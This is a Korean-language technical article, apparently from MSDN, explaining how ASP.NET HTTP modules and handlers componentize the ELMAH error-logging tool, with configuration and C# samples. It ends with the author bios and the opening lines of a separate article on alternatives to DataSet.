웹 응용 프로그램에 대해 HTTP 모듈을 구성하려면 추가할 모듈의 유형을 지정하는<httpModules> 섹션을Web.config파일에 포함시켜야 합니다.
<httpModules> <add name="ModuleName" type="ModuleType" /> </httpModules>
ModuleType은 모듈의 유형을 지정하는 문자열로서어셈블리 이름이 뒤에 오는 정규화된 클래스 이름(Namespace.ClassName)입니다. 또한type특성에는 강력한 이름의 어셈블리에 필요한 공개 키 토큰과 함께 버전 지정 및 culture 정보가 포함될 수 있습니다. 다음 코드는 ELMAH의 오류 로깅 모듈을 ASP.NET 응용 프로그램에 포함하기 위해 사용해야 하는 실제<httpModules>설정을 보여 줍니다.
<httpModules>
<add name="ErrorLog" type="GotDotNet.Elmah.ErrorLogModule,
GotDotNet.Elmah, Version=1.0.5527.0,
Culture=neutral, PublicKeyToken=978d5e1bd64b33e5" />
</httpModules>
Web.config파일에<httpHandlers> 섹션을 추가하여 웹 응용 프로그램에서 HTTP 처리기를 사용할 수 있습니다. HTTP 처리기가 특정 유형 리소스의 콘텐츠를 렌더링하므로<httpHandlers>요소는type특성 외에path특성을 포함합니다. 이 특성은 이 HTTP 처리기에 매핑해야 하는 파일 경로나 확장을 나타냅니다. 또한 GET 또는 POST 요청에서와 같이 특정 유형의 HTTP 요청에 한하여 처리기를 사용하도록 제한할 수 있는verb특성이 있습니다. 다음 예제는.ashx확장명을 가진 파일에 대한 모든 요청에서 호출되는 HTTP 처리기를 만듭니다.
<httpHandlers>
<add verb="*" path="*.ashx" type="HandlerType" />
</ httpHandlers >
HTTP 처리기에 대한type특성은 HTTP 모듈과 동일한 구문 옵션을 사용하여 표현합니다.Web.config의 이러한 설정은machine.config파일에 포함할 수도 있습니다. 이렇게 하면 서버의모든웹 응용 프로그램에 대해 처리기와 모듈이 활성화되는 효과가 있습니다. 다음 코드는 이 기사의 다운로드에 포함된 데모의Web.config파일에 있는<httpHandlers>요소를 보여 줍니다.ErrorLogPageFactory클래스가/elmah/default.aspx에 대한 모든 들어오는 요청을 렌더링하도록 지정된다는 것에 주의해야 합니다.
<httpHandlers>
<add verb="POST,GET,HEAD" path="elmah/default.aspx"
type="GotDotNet.Elmah.ErrorLogPageFactory, GotDotNet.Elmah,
Version=1.0.5527.0, Culture=neutral, PublicKeyToken=978d5e1bd64b33e5" />
</httpHandlers>
위에서 볼 수 있듯이 HTTP 모듈과 처리기를 ASP.NET 웹 응용 프로그램에 추가하는 것은 매우 간단하기 때문에 불과 몇 초 만에 끝낼 수 있으며 ASP.NET 응용 프로그램을 재컴파일하거나 재배포하지 않아도 됩니다. 이는 HTTP 모듈과 처리기가 재사용을 위한 뛰어난 도구일 뿐만 아니라 관리가 용이한 느슨하게 결합된 조각으로 응용 프로그램을 구성 요소화할 수 있는 수단을 제공하기 때문입니다.
ELMAH의 아키텍처는 다음 세 개의 하위 시스템으로 구성됩니다.
오류 로깅 하위 시스템은 두 개의 작업, 즉 오류를 로그에 기록하는 작업과 로그에서 오류 정보를 검색하는 작업을 수행합니다. HTTP 모듈 하위 시스템은 ASP.NET 응용 프로그램에서 처리되지 않은 예외가 발생할 경우의 오류 기록을 수행합니다. HTTP 처리기 하위 시스템은 오류 로그를 태그로 렌더링하여 오류 로그뿐만 아니라 RSS 피드에 대한 웹 기반 인터페이스를 구성할 수 있는 수단을 제공합니다.
그림 5에 나온 것처럼 HTTP 모듈 및 처리기 하위 시스템 모두 오류 로깅 하위 시스템을 사용합니다. HTTP 모듈 하위 시스템은 예외 정보를 오류 로깅 하위 시스템으로 보내고 HTTP 처리기 하위 시스템은 오류 정보를 읽어 렌더링합니다.
그림 5. 오류 로깅 시스템의 올바른 위치
ELMAH의 아키텍처를 제대로 이해하기 위해 이러한 세 개의 하위 시스템을 좀더 자세히 살펴보도록 하겠습니다.
오류 로깅 하위 시스템은 오류를 로그에 기록할 뿐만 아니라 특정 오류 또는 오류의 하위 집합에 대한 세부 정보를 검색하는 기능을 제공합니다. 이 기능은 다음과 같은 여러 클래스를 통해 가능합니다.
ErrorLog에 대한 특정Error인스턴스를 나타냅니다.ErrorLogEntry는 본질적으로Error인스턴스가 시작된ErrorLog인스턴스와 함께Error인스턴스를 그룹화합니다.이러한 세 가지 클래스에 대한 개요와 중앙화된 완벽한 예외 로깅 유틸리티를 제공하기 위해서 이러한 클래스가 HTTP 모듈 및 HTTP 처리기 하위 시스템과 함께 작동하는 방법에 대해 살펴보도록 하겠습니다.
특정 프로젝트 설정 또는 전략에 따라서 서로 다른 백업 저장소를 오류 로그에 사용할 수 있습니다. 예를 들어 프로덕션 서버에서는 예외를 Microsoft SQL Server에 기록하지만 개발 서버에서는 오류를 단순히 XML 파일 집합이나 Microsoft Access 데이터베이스에 저장하기를 원할 수 있습니다. 다른 백업 저장소를 사용하는 기능을 제공하기 위해 오류 로깅 하위 시스템은 추상 기본 클래스인ErrorLog를 제공합니다. 이 클래스는 모든 ELMAH 오류 로거가 구현해야 하는 기본 메서드를 정의합니다. 이러한 메서드는 다음과 같습니다.
Error클래스는 처리되지 않은 예외에 대한 정보를 나타냅니다. 이Error클래스에 대해서는 좀더 자세하게 설명할 것입니다. 오류 정보를 기록하면서Log()메서드는 또한 고유 식별자를 오류에 할당해야 합니다.ELMAH는 다음과 같은 두 개의ErrorLog구현을 제공합니다.
System.Data.SqlClient공급자를 사용하여 오류를 Microsoft SQL Server 2000 데이터베이스에 기록합니다.SqlErrorLog는 SQL Server 2000의 XML 기능 중 일부를 활용하기 때문에 SQL Server 2000이 필요하지만 이는 변경이 가능한 구현 세부 정보입니다.일부 줄의 텍스트를 ASP.NET 웹 응용 프로그램의Web.config파일에 추가하는 간단한 방법으로 이러한 예외 로거 중 하나를 사용할 수 있습니다. 오류 세부 정보를 SQL Server나 응용 프로그램 메모리가 아닌 다른 장소에 저장해야 할 경우에는 고유한 사용자 지정 로거를 만들 수 있습니다. ELMAH에 대한 오류 로거를 구현하려면 ErrorLog를 확장하는 클래스를 만들고 원하는 저장소에 대해Log(),GetError()및GetErrors()의 구현을 제공해야 합니다.
ELMAH의 HTTP 모듈 및 처리기 하위 시스템이 지정된ErrorLog클래스(SqlErrorLog,MemoryErrorLog또는 고유한 사용자 지정 로그 클래스)와 직접 상호 작용한다는 것에 주의해야 합니다. HTTP 모듈은Error인스턴스를 만들어ErrorLog메서드의Log()메서드에 전달하는 방법으로 예외 정보를 기록합니다. HTTP 처리기는 특정ErrorLogEntry인스턴스나ErrorLogEntry인스턴스 집합을 반환하는ErrorLog의GetError()및GetErrors()메서드를 통해 하나 이상의 오류에 대한 세부 정보를 읽습니다.
ErrorLog의Log()메서드에는Error유형의 입력 매개 변수가 필요합니다.Exception클래스는 코드 스택에서 응용 프로그램 수명 주기 동안에 예외 정보를 전달하는 데 더 적합하기 때문에 .NET Framework에서 제공되는Exception클래스 대신에 사용자 지정Error클래스가 사용됩니다. 그러나Exception개체는 저장, 입력 및 이식성 문제로 인하여 예외 로그를 저장하기에는 이상적이지 않습니다. 물론 이진 serialization을 사용하여Exception인스턴스를 저장할 수 있지만 이 경우에는 사용 가능한 동일한 유형 및 어셈블리 집합을 사용하여Exception개체를 시스템에서 deserialize할 수 있어야 합니다. 로그와 로그의 내용은 이식 가능해야 하며 특정 런타임 또는 구성을 가진 시스템에서만 볼 수 있는 것이 아니어야 하므로 이러한 제한은 특히 관리 및 운영 측면에서 볼 때 받아들일 수 없습니다. 게다가Exception인스턴스는 웹 응용 프로그램에 대한 고유한 주변 정보(예: 현재 웹 요청의ServerVariables 컬렉션에 대한 값)가 부족한 경우가 자주 있는데 이러한 정보 중에서 일부는 진단을 위해 반드시 필요한 것입니다. 따라서 한 마디로 말하자면,Error클래스는 웹 응용 프로그램에서 발생한 예외에 대한 정보를 보유하면서 모든 예외 유형을 대체하는 역할을 수행합니다.
표 1에는Error속성의 전체 목록이 나와 있습니다.
| 속성 | 설명 |
|---|---|
| Exception | 이 오류가 나타내는Exception인스턴스입니다. 클래스의 인스턴스와 함께 유지되지 않는 런타임 전용 속성입니다. |
| ApplicationName | 이 오류가 발생한 응용 프로그램의 이름입니다. |
| HostName | 이 오류가 발생한 호스트 시스템의 이름입니다. 기본값은Environment.MachineName입니다. |
| Type | 오류의 유형, 클래스 또는 범주입니다. 일반적으로 예외의 전체 유형 이름(어셈블리 자격 제외)입니다. |
| Source | 오류의 소스입니다. 일반적으로Exception개체의Message속성과 동일합니다. |
| Message | 오류를 설명하는 간단한 텍스트입니다. 일반적으로Exception개체의Message속성과 같습니다. |
| Detail | 오류에 대한 자세한 텍스트(예: 전체 스택 추적)입니다. |
| User | 오류 발생 시에 응용 프로그램에 로그인한 사용자입니다(예:Thread.CurrentPrincipal.Identity.Name에 의해 반환된 사용자). |
| Time | 오류가 발생한 날짜와 시간입니다. 항상 현지 시간입니다. |
| StatusCode | 오류의 결과로 응답 헤더에서 반환되는 상태 코드입니다. 예를 들어FileNotFoundException의 경우 404입니다. 그러나 이 값은 ASP.NET 내에서 항상 정확하게 결정되지는 않습니다. 경우에 따라 이StatusCode값은 0으로 보고될 수 있습니다. |
| WebHostHtmlMessage | 사용자 지정 오류 페이지가 없을 경우 웹 호스트(ASP.NET)가 생성한 기본 HTML 메시지입니다. |
| ServerVariables | HttpRequest.ServerVariables에 포함되어 있는 것과 같은 웹 서버 변수의NameValueCollection입니다. |
| QueryString | HttpRequest.QueryString에 포함되어 있는 것과 같은 HTTP 쿼리 문자열 변수의NameValueCollection입니다. |
| Form | HttpRequest.Form에 포함되어 있는 것과 같은 양식 변수의NameValueCollection입니다. |
| Cookies | HttpRequest.Cookies에 포함되어 있는 것과 같은 클라이언트가 보낸 쿠키의NameValueCollection입니다. |
WebHostHtmlMessage속성에 대해서는 약간의 설명이 필요합니다. ASP.NET 웹 응용 프로그램에서 처리되지 않은 예외가 발생했으며 응용 프로그램이사용자 지정 오류 페이지를 사용하도록 구성되지 않은 경우 그림 6과 비슷한 화면이 표시됩니다. 이 화면은 모든 ASP.NET 개발자에게는 익숙한 화면입니다.
그림 6. 표준 오류 페이지
예외가 발생하면해당 화면의 실제 HTML 태그가 액세스되어Error클래스의WebHostHtmlMessage속성에 저장됩니다. 특정 예외에 대한 세부 정보를 표시하는 페이지를 방문했을 때 해당Error인스턴스가WebHostHtmlMessage속성에 값을 갖고 있는 경우 그림 6과 유사한 실제 예외 정보 화면을 표시하는 페이지에 대한 링크가 방문자에게 제공됩니다. 여기에서는 기록된 예외를 확인할 수 있을 뿐만 아니라 나중에 로그 검사 시에 ASP.NET에 의해 생성된 원래 오류 페이지를 방문할 수 있습니다. 또한 이와 함께 사용자 지정 오류도 활성화되어 있습니다.
Error클래스는 또한 XML 형식과의 사이에서 해당 상태를 serialize 및 deserialize할 수 있는 방법을 제공합니다. 자세한 내용은 함께 제공되는 코드에서FromXml및ToXml을 참조하십시오.
오류 로깅 하위 시스템의 마지막 클래스는Error인스턴스를ErrorLog인스턴스와 연결하는ErrorLogEntry클래스입니다. HTTP 처리기 하위 시스템이 특정 예외에 대한 정보를 검색하기 위해GetError()메서드를 호출하면GetError()메서드는 특정 백업 저장소에서 정보를 검색하여ErrorLogEntry인스턴스에서 해당 정보를 채웁니다.ErrorLogEntry클래스에는 다음 세 개의 속성이 포함되어 있습니다.
ErrorLog인스턴스에 대한 참조입니다.Error클래스의 인스턴스입니다.GetError()메서드가 단일ErrorLogEntry인스턴스를 반환하는 것과 달리GetErrors()는ErrorLogEntry인스턴스의 목록을 반환합니다.GetErrors()는 특히 한 번에n개의 레코드씩 오류를 페이징할 수 있도록 설계되었습니다.
그림 7은 업데이트된 ELMAH의 아키텍처를 보여 주며, 오류 로깅 하위 시스템이 더 자세히 나와 있습니다.
그림 7. 업데이트된 아키텍처
ELMAH는 두 개의 HTTP 모듈, 즉ErrorLogModule및ErrorMailModule로 구성됩니다.ErrorLogModule은 응용 프로그램의Error이벤트에 대한 이벤트 처리기를 만드는 HTTP 모듈입니다. 처리되는 않은 예외가 발생할 경우 이 HTTP 모듈은 응용 프로그램의 구성에 지정된 대로 적절한 오류 로거를 가져와Log()메서드를 호출함으로써 현재 요청에 대한HttpContext와 예외 정보로 채워진Error인스턴스를 전달합니다. 다음 소스 코드는ErrorLogModule클래스의 관련 코드를 보여 줍니다.
public class ErrorLogModule : IHttpModule
{
public virtual void Init(HttpApplication application)
{
application.Error += new EventHandler(OnError);
}
protected virtual ErrorLog ErrorLog
{
get { return ErrorLog.Default; }
}
protected virtual void OnError(object sender, EventArgs args)
{
HttpApplication application = (HttpApplication) sender;
LogException(application.Server.GetLastError(), application.Context);
}
protected virtual void LogException(Exception e, HttpContext context)
{
try
{ this.ErrorLog.Log(new Error(e, context)); }
catch (Exception localException)
{ Trace.WriteLine(localException); }
}
}
ErrorLogModule의 실행은Init()메서드에서 시작되는데, 이 메서드는Error이벤트가 발생할 때마다OnError()메서드를 호출해야 함을 ASP.NET 런타임에 표시합니다.OnError()메서드는HttpApplication개체를 참조하며LogException()메서드를 호출하여 마지막 예외에 대한 세부 정보뿐만 아니라 특정 요청과 관련된HttpContext인스턴스를 전달합니다.LogException()은 간단하게 해당ErrorLog클래스의Log()메서드를 호출하여 새Error인스턴스를 전달합니다.Error인스턴스의 생성자는Exception및HttpContext인스턴스를 가지며 이에 따라서 속성을 채웁니다. 자세한 내용은 다운로드할 수 있는 소스 코드를 참조하십시오.
ErrorLogModule은 읽기 전용ErrorLog속성을 포함하며ErrorLog.Default에 의해 반환된ErrorLog인스턴스를 반환합니다.Default는ErrorLog클래스에 있는ErrorLog유형의 정적 속성입니다. 이 속성은 웹 응용 프로그램의 구성을 참조하여 예외 로깅에 사용할 클래스(SqlErrorLog,MemoryErrorLog또는 사용자 지정 예외 로깅 클래스)를 결정합니다.
참고 ASP.NET 웹 응용 프로그램에 ELMAH 추가절에서는 특정 예외 로거를 사용하도록 웹 응용 프로그램을 구성하는 방법을 검토합니다. 이 작업은 줄의 일부를Web.config또는machine.config파일에 추가하기만 하면 되므로 아주 간단합니다.
HTTP 모듈 하위 시스템의 다른 HTTP 모듈은 예외 발생 시에 관리자에게 전자 메일을 보내는ErrorMailModule클래스입니다. ELMAH의 이 모듈에 대해서는 여기에서 언급하지 않겠지만 이 기사에서 다운로드할 수 있는 코드 샘플에서 이 모듈을 사용하는 방법을 확인할 수 있습니다.
앞에서 언급한 것처럼 HTTP 처리기의 목적은 특정 리소스 유형의 콘텐츠를 렌더링하는 것입니다. ASP.NET HTTP 파이프라인에 요청이 들어오면 ASP.NET 엔진은 요청된 경로를 검토하여 요청된 리소스를 처리하는 데 사용해야 할 HTTP 처리기를 결정합니다. 특히 HTTP 처리기나 HTTP 처리기 팩토리에 의해 처리되는 특정 경로를 가지도록 ASP.NET 응용 프로그램을 구성할 수 있습니다.HTTP 처리기 팩토리는 콘텐츠 렌더링을 직접적으로 수행하는 것이 아니라 HTTP 처리기 인스턴스의 선택과 반환을 담당하는 클래스입니다. 요청된 리소스를 렌더링하는 작업은 반환된 이 HTTP 처리기 인스턴스가 수행합니다.
ELMAH의 HTTP 처리기 하위 시스템은 단일 HTTP 처리기 팩토리 클래스와 함께 기록된 오류를 표시하기 위해 태그를 생성하도록 설계된 여러 HTTP 처리기 클래스로 구성됩니다. HTTP 처리기 팩토리 클래스인ErrorLogPageFactory는 요청된 URL의PathInfo부분을 검사하여 출력을 생성해야 하는 HTTP 처리기를 결정합니다.
참고 URL의PathInfo부분은 파일 이름 뒤에 오는 추가 콘텐츠이며Request개체의PathInfo속성을 통해 사용할 수 있습니다. 예를 들어http://www.example.com/someDir/somePage.aspx/somePathURL에서somePath는 URL의PathInfo부분입니다. URL의 다양한 부분에 사용되는 용어와 해당Request개체 속성에 대한 자세한 내용은Rick Strahl 의 블로그 항목Making Sense of ASP.NET Paths 를 참조하십시오.
다음 코드는ErrorLogPageFactoryHTTP 처리기 팩토리 클래스에 있는 더 흥미로운 코드를 보여 줍니다.
public class ErrorLogPageFactory : IHttpHandlerFactory
{
public virtual IHttpHandler
GetHandler(HttpContext context,
string requestType, string url, string pathTranslated)
{
string resource =
context.Request.PathInfo.Length == 0 ? string.Empty
: context.Request.PathInfo.Substring(1);
switch (resource.ToLower(CultureInfo.InvariantCulture))
{
case "detail" : return new ErrorDetailPage();
case "html" : return new ErrorHtmlPage();
case "rss" : return new ErrorRssHandler();
default : return new ErrorLogPage();
}
}
}
위에서 알 수 있듯이ErrorLogPageFactory클래스의GetHandler()메서드는 요청의PathInfo에 기초하여 HTTP 처리기 인스턴스를 반환합니다.PathInfo가rss인 경우ErrorRssHandlerHTTP 처리기의 인스턴스가 반환되며 이 인스턴스는 로그를 RSS 필드로 렌더링합니다.PathInfo가detail인 경우ErrorDetailPageHTTP 처리기의 인스턴스가 반환되며 이 인스턴스는 특정 예외에 대한 정보를 표시합니다.
ASP.NET 웹 응용 프로그램의 설정에서ErrorLogPageFactoryHTTP 처리기 팩토리에 매핑할 경로를 지정해야 합니다(예:ErrorLog.aspx). 예외 로그의 RSS 피드를 보려면http://www.example.com/ErrorLog.aspx/rss를 방문하십시오.
ELMAH의 다양한 HTTP 처리기 클래스(ErrorDetailPage,ErrorHtmlPage,ErrorRssHandler,ErrorLogPage등)는 다른 태그를 렌더링합니다. 예를 들어ErrorRssHandlerHTTP 처리기는 15개의 최신 오류를 반복하여 이 정보를 RSS 형식으로 표시하기 위한 적절한 XML 태그를 내보냅니다. 다른 모든 HTTP 처리기는 모든 ASP.NET 코드 숨김 클래스가 파생되는System.Web.UI.Page클래스에서 직접 또는 간접적으로 파생됩니다. 이러한 페이지 관련 HTTP 처리기는 기록된 예외의 페이징 가능한 목록을 표시하는 HTML 인터페이스를 만들기 위해Page클래스의Render()및OnLoad()메서드를 무시합니다. 이러한 페이지의 스크린샷인 그림 1, 2 및 3을 다시 참조하십시오.
참고Error클래스가ServerVariables,QueryString,Form및Cookie컬렉션을 저장하지만ServerVariables컬렉션만 예외의 세부 정보에 표시됩니다. 이는QueryString매개 변수와 쿠키를 각각ServerVariable의QUERY_STRING및HTTP_COOKIE매개 변수를 통해 볼 수 있기 때문입니다.Form컬렉션은 생략되는데, 이는 대부분의 진단에서 거의 도움이 되지 않는 수십 KB의 뷰 상태 정보가 잠재적으로 이 컬렉션에 포함될 수 있기 때문입니다. 물론 원할 경우에는 HTTP 처리기 세부 정보를 간단하게 수정하여 이 정보를 포함할 수 있습니다.
이제 ELMAH의 세 가지 하위 시스템을 검토했으므로 ELMAH를 기존 ASP.NET 웹 응용 프로그램에 추가하는 방법을 살펴보겠습니다. 특히 ELMAH는 HTTP 처리기와 모듈이 제공하는 구성 요소화의 이점으로 인해 임의의 사이트에 매우 간단하게 추가할 수 있습니다.
ELMAH를 ASP.NET 웹 응용 프로그램에 추가하는 것은 매우 간단하며 다음 두 단계로 구성됩니다.
어셈블리를 웹 응용 프로그램의/bin디렉터리에 복사하고Web.config파일을 통해 ELMAH의 설정을 구성하여 ELMAH를 웹 서버의 특정 웹 응용 프로그램에 적용할 수 있습니다. 또한 어셈블리를 웹 서버의전역 어셈블리 캐시(GAC)에 추가하고 동일한 구성 설정을Web.config대신에machine.config에서 추가하여 웹 서버의 모든 웹 응용 프로그램에 적용하도록 ELMAH를 구성할 수 있습니다.
Web.config(또는machine.config) 파일에서 다음 설정을 추가해야 합니다.
<errorLog>라는 내부 섹션을 포함하며 새 섹션 이름<gotdotnet.elmah>를 정의하는<configSections>요소의<sectionGroup>요소.<errorLog>라는 내부 섹션을 포함하는<gotdotnet.elmah>섹션.<httpHandlers>섹션의 항목.ErrorLogModule을 ASP.NET HTTP 파이프라인에 추가하는<httpModules>섹션의 항목.이 기사의 다운로드에 포함된Web.config파일의 다음 코드는 이러한 네 개의 설정을 지정할 수 있는 방법을 보여 줍니다.
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<!-- Allows for a new section group to the Web.config -->
<sectionGroup name="gotdotnet.elmah">
<!-- Indicates that inside the section group there will be
an errorLog section -->
<section name="errorLog"
type="System.Configuration.SingleTagSectionHandler,
System, Version=1.0.5000.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089" />
</sectionGroup>
</configSections>
<!-- This section group contains the type of the exception logger to
use (SqlErrorLog, MemoryErrorLog, or a custom logger).
It also contain properties pertinent to the exception logger
(connectionString, for the SqlErrorLog). -->
<gotdotnet.elmah>
<errorLog type="GotDotNet.Elmah.SqlErrorLog,
GotDotNet.Elmah, Version=1.0.5527.0, Culture=neutral,
PublicKeyToken=978d5e1bd64b33e5"
connectionString="...connection string..." />
</gotdotnet.elmah>
<system.web>
<!-- Register that a request to aspnetham/errorlog.aspx should
be serviced by the ErrorLogPageFactory HTTP Handler factory -->
<httpHandlers>
<add verb="POST,GET,HEAD" path="elmah/default.aspx"
type="GotDotNet.Elmah.ErrorLogPageFactory,
Skybow.Samples.AspNetHam, Version=1.0.5527.0,
Culture=neutral, PublicKeyToken=978d5e1bd64b33e5" />
</httpHandlers>
<!-- Adds the ErrorLogModule HTTP Module to the HTTP pipeline. -->
<httpModules>
<add name="ErrorLog" type="GotDotNet.Elmah.ErrorLogModule,
GotDotNet.Elmah, Version=1.0.5527.0, Culture=neutral,
PublicKeyToken=978d5e1bd64b33e5" />
</httpModules> ...
</system.web>
</configuration>
<configSections>요소의<sectionGroup>요소는<gotdotnet.elmah>라는 구성 파일에 추가 섹션 그룹이 있음을 나타냅니다. 또한 이 요소는 이러한 사용자 지정 섹션 내에<errorLog>섹션이 있음을 나타냅니다. 실제<gotdotnet.elmah>요소 내에는 사용해야 할 오류 로그 구현을 지정하는<errorLog>요소가 있습니다. 앞에서 언급한 것처럼 ELMAH는 두 개의 구현, 즉SqlErrorLog및MemoryErrorLog를 기본적으로 제공합니다.<errorLog>요소에서 이러한 두 구현 중에서 사용할 구현을 지정하거나 자신이 작성한 사용자 지정 예외 로거를 사용하도록 지정할 수 있습니다.<errorLog>요소는 또한 오류 로그 구현에 대한 특정 설정을 포함합니다. 예를 들어<errorLog>요소를 사용하여SqlErrorLog가 사용되도록 지정할 경우connectionString속성을 포함하여 데이터베이스에 연결되는 방법을 나타내야 합니다. 적절한 테이블과 관련 저장 프로시저를 만들기 위한 SQL 스크립트가 다운로드에 포함되어 있습니다.
참고 처리되지 않은 예외가 발생할 경우 관리자에게 전자 메일을 보내려면<sectionGroup>에서<errorMail>이라는 새 요소를 정의하는 또 다른<section>요소를 추가해야 합니다. 게다가 실제<gotdotnet.elmah>요소에서<errorMail>요소를 추가해야 합니다. 이 구문의 샘플은 다운로드에서Web.config파일을 참조하십시오.
<httpHandlers>섹션은 콘텐츠를 렌더링하여 오류 로그를 표시하는 HTTP 처리기를 검색하기 위해ErrorLogPageFactory(HTTP 처리기 팩토리)를 사용해야 하도록 지정합니다.path특성의 값은 오류 로그 표시 시에 가져올 응용 프로그램의 가상 루트에 대한 상대적인 URL을 나타냅니다. 이 값을 원하는 대로 변경할 수 있지만 ASP.NET 엔진이 처리하는 확장이 포함된 URL인지 확인해야 합니다. 즉, 경로를errors.log와 같이 변경할 경우errors.log에 대한 요청을 ASP.NET ISAPI 확장(aspnet_isapi.dll)에 매핑하도록 IIS를 구성해야 합니다. 관리자만 로그를 볼 수 있게 하려면 ASP.NET의URL 권한 부여 기능
<httpHandlers>섹션을 구성하지 않으면 됩니다.<httpModules>섹션은ErrorLogModuleHTTP 모듈을 ASP.NET HTTP 파이프라인에 추가합니다. 이<httpModules>설정을 포함해야 하며, 그렇지 않을 경우 ELMAH가Error이벤트를 수신 대기하지 않으므로 처리되지 않은 예외가 기록되지 않습니다.
위에서 알 수 있듯이 ELMAH를 기존 ASP.NET 웹 응용 프로그램에 추가하는 것은 매우 간단합니다. ELMAH를 간단하게 배포하고 재사용할 수 있는 것은 HTTP 모듈과 처리기를 통해 구성 요소화되기 때문입니다.
HTTP 처리기와 모듈이 ASP.NET 웹 응용 프로그램의 다양한 기능을 구성 요소화하기 위한 뛰어난 도구라는 사실을 이 기사에서 충분히 이해할 수 있었을 것입니다. 중앙화된 응용 프로그램 전체 로깅이나 전체 응용 프로그램에서 요청을 모니터링하는 등의 일반적인 작업을 처리기와 모듈을 통해 구성 요소화할 수 있습니다. 이러한 기능을 구성 요소 집합으로 래핑하면 기존 코드와 응용 프로그램을 마이그레이션, 통합 또는 재컴파일할 필요 없이 재사용이나 관리 용이성 및 배포의 이점을 누릴 수 있습니다.
HTTP 모듈 및 처리기를 통해 가능한 구성 요소화를 설명하기 위해 이 기사에서는 중앙화된 오류 로깅 및 메일 응용 프로그램인 ELMAH를 검토했습니다. ELMAH는 버블링된 처리되지 않은 예외로 인해 발생한 응용 프로그램 전체의Error이벤트를 HTTP 모듈을 사용하여 수신 대기합니다. 처리되지 않은 예외가 확인되면 ELMAH는 예외를 SQL Server 데이터베이스, 메모리 또는 기타 백업 저장소에 기록합니다. 또한 ELMAH는 예외의 콘텐츠를 개발자 및 운영 직원과 같은 한 명 이상의 수신자에게 전자 메일로 보낼 수 있습니다.
HTTP 모듈 외에 ELMAH에는 웹 기반 매체를 통해 오류 로그를 더 쉽게 볼 수 있도록 하는 일련의 HTTP 처리기와 HTTP 처리기 팩토리가 포함되어 있습니다. 이러한 웹 기반 매체는 전통적인 웹 페이지뿐만 아니라 RSS 피드도 해당합니다. ELMAH는 이러한 정보를 표시하는 ASP.NET 웹 페이지를 웹 응용 프로그램에서 포함하도록 요구하는 대신에 표시 기능을 HTTP 처리기에 래핑하여 별도의 구성 요소를 유지 관리합니다. HTTP 처리기를 통해 ELMAH를 간단하게 배포할 수 있으며 웹 응용 프로그램을 재컴파일하거나 ASP.NET 웹 페이지를 프로덕션 서버로 업로드할 필요가 없습니다.
ELMAH는 HTTP 처리기와 모듈이 제공하는 강력한 구성 요소화를 보여 주는 한 예에 불과합니다. 실제로는 처리기와 모듈을 사용하여 구성 요소화의 이점을 제공하도록 응용 프로그램 전체의 여러 다른 프로세스가 구현되었을 것입니다.
프로그래밍을 즐기시기 바랍니다!
이 기사를 MSDN 편집부에 제출하기 전에 많은 분들이 자원해서 교정을 봐주시고 기사의 내용, 문법 및 방향에 대한 의견을 주셨습니다. 이 기사의 검토 과정에서 특히 수고해 주신 Milan Negovan, Carl Lambrecht, Dominique Kuster, Roman Mathis, Raffael Zaghet, Muhammad Abubakar, Patrick Schuler에게 감사를 드립니다.
Atif Aziz는 Microsoft 플랫폼에서의 솔루션 개발에 거의 13년 정도의 경력을 갖고 있습니다. Skybow AG의 수석 컨설턴트로 일하고 있는 Atif의 주요 관심사는 .NET 개발 플랫폼의 솔루션을 이해하고 자체적으로 작성할 수 있도록 고객을 돕는 것입니다. Atif는 Microsoft와 다른 회사가 주최하는 회의에서 의견을 제공하고 기술 간행물의 기사를 작성함으로써 Microsoft 개발자 커뮤니티에 정기적으로 기여하고 있습니다. Atif는 스위스에서 가장 큰 규모의 .NET 사용자 그룹인dotMUGS
의 INETA 대변인이자 회장입니다.atif.aziz@skybow.com으로 전자 메일을 보내거나 Atif의 웹 사이트인http://www.raboof.com/ 을 통해서 Atif에게 연락을 취할 수 있습니다.4GuysFromRolla.com의 설립자이자 ASP/ASP.NET 관련 서적을 5권이나 저술한Scott Mitchell은 1998년부터 Microsoft 웹 기술 분야에서 일하고 있습니다. Scott는 독립적인 컨설턴트이자, 교육자이면서 작가입니다.mitchell@4guysfromrolla.com으로 전자 메일을 보내거나http://scottonwriting.net/
에 있는 Scott의 블로그를 통해 연락을 취할 수 있습니다.Karl Seguin
Microsoft Corporation
요약:경우에 따라 형식화되지 않은DataSet가 데이터 조작을 위한 최선의 솔루션이 되지 못하는 상황이 있을 수 있습니다. 이 가이드에서는 사용자 지정 엔터티 및 컬렉션이라는DataSet의 대안을 살펴도록 하겠습니다.
소개
DataSet의 문제
사용자 지정 엔터티 클래스
개체 관련 매핑
사용자 지정 컬렉션
관계 관리
중급 단계
결론
ADODB.RecordSet과 곧잘 잊혀지던MoveNext의 시대는 가고 이제는 그 자리를 Microsoft ADO.NET의 강력하고 유연한 기능이 대신하게 되었습니다. Microsoft에서 내놓은 새로운 방법은 탁월한 속도의DataReader와 풍부한 기능의DataSet를 갖추고 뛰어난 개체 지향 모델에 패키지화되는System.Data네임스페이스입니다. 이러한 도구를 마음대로 사용할 수 있는 상황은 충분히 예견된 일입니다. 모든 3 계층 아키텍처는 강력한 DAL(데이터 액세스 계층)을 사용하여 데이터 계층을 비즈니스 계층에 안정적으로 연결합니다. 양질의 DAL은 코드 재사용률을 높이고 뛰어난 성능을 위한 핵심 역할을 수행할 뿐 아니라 완전히 투명하게 나타납니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).
도구가 발전을 거듭함에 따라 일정한 개발 패턴을 갖게 되었습니다.MoveNext와 작별을 고한 것은 성가신 구문으로부터 벗어난 수준을 뛰어넘어 연결이 끊어진 데이터에 눈을 돌리게 한 것은 물론 응용 프로그램을 빌드하는 방법에도 막대한 영향을 미쳤습니다.
DataReader에 익숙해지자(RecordSet과 유사하게 작동) 얼마 지나지 않아DataAdapter,DataSet,DataTable및DataView에도 과감히 달려들어 살펴보게 되었습니다. 이는 개발 방식에 변화를 주는 새 개체를 활용하는 능력이 향상된 것으로 볼 수 있습니다. 연결이 끊어진 데이터를 사용하면 새로운 캐싱 기법을 활용할 수 있어 응용 프로그램의 성능이 크게 향상됩니다. 게다가 이러한 클래스 기능을 통해 보다 세련되고 강력한 함수를 작성할 수 있게 된 동시에 때로는 일반적인 작업에 필요한 코드의 양을 눈에 띌 만큼 줄이게 되었습니다.
